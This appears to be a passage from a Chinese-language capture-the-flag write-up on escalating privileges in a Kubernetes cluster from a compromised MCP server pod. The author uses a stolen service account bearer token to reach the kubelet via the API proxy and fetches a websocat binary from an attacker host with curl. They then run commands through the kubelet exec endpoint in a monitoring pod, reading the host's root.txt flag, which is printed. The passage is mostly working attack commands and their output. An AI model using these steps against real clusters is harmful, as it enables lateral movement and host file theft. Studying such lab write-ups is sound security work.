# 通过代理访问指定节点的 kubelet
curl --cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
$API/api/v1/nodes/fireflow/proxy/pods

能列出 Pod 说明权限可用。下一步就是获取节点IP再使用curl調用exec:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
curl -k --cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
-N \
"https://kubernetes.default.svc/api/v1/nodes/{nodeName}/proxy/exec/{namespace}/{pod}/{container}?command=id&output=1&error=1"
#nodeName fireflow Kubernetes 節點名稱
#namespace default 你目前 MCP Pod 所在的 Namespace
#pod mcp-server-54464cb475-29ztf 你目前所在的 Pod
#container mcp-server Pod 裡的容器名稱
#hostIP 10.129.140.140

curl -k --cacert /run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
-N \
"https://kubernetes.default.svc/api/v1/nodes/fireflow/proxy/exec/default/mcp-server-54464cb475-29ztf/mcp-server?command=id&output=1&error=1"

Upgrade request required
#請求已經到達 Kubelet 的 /exec 端點,但它要求 HTTP 協定升級(Protocol Upgrade)
#Kubelet /exec 是串流端點,通常需要透過 WebSocket 或 SPDY 等升級協定來傳輸命令輸入與輸出。

…原來curl -o 下載不了是因為限權改在tmp下就沒事了………:

1
2
3
4
5
6
7
8
9
10
11
mcp@mcp-server-54464cb475-29ztf:/tmp$ ^[[A^[[A
</tmp$ curl http://10.10.17.141/websocat -o websocat
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 7661k 100 7661k 0 0 593k 0 0:00:12 0:00:12 --:--:-- 1001k
mcp@mcp-server-54464cb475-29ztf:/tmp$ ls
ls
websocat
mcp@mcp-server-54464cb475-29ztf:/tmp$ chmod +x websocat
chmod +x websocat

可以了:

1
2
3
4
# 使用websocat调用exec
./websocat --insecure --header "Authorization: Bearer $TOKEN" --protocol v4.channel.k8s.io 'wss://{hostIP}:10250/exec/{namespace}/{pod}/{container}?output=1&error=1&command=id'
# {hostIP} 要填的是 Kubernetes Node(宿主機)的 IP
./websocat --insecure --header "Authorization: Bearer $TOKEN" --protocol v4.channel.k8s.io 'wss://10.129.140.140:10250/exec/default/mcp-server-54464cb475-29ztf/mcp-server?output=1&error=1&command=id'

可以了: 嘗試一下其它的 pod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)
{"metadata":{},"status":"Success"}
#namespace monitoring
#pod prometheus-prometheus-node-exporter-nmntq
#container node-exporter
./websocat --insecure --header "Authorization: Bearer $TOKEN" --protocol v4.channel.k8s.io 'wss://10.129.140.140:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=id'
./websocat --insecure --header "Authorization: Bearer $TOKEN" --protocol v4.channel.k8s.io 'wss://10.129.140.140:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=ls&command=/'
./websocat --insecure --header "Authorization: Bearer $TOKEN" --protocol v4.channel.k8s.io 'wss://10.129.140.140:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=ls&command=/root'
./websocat --insecure --header "Authorization: Bearer $TOKEN" --protocol v4.channel.k8s.io 'wss://10.129.140.140:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=ls&command=/host/root/root'
./websocat --insecure --header "Authorization: Bearer $TOKEN" --protocol v4.channel.k8s.io 'wss://10.129.140.140:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&error=1&command=cat&command=/host/root/root/root.txt'


fd5ee02815ffeb71567a76b98c8b682a
{"metadata":{},"status":"Success"}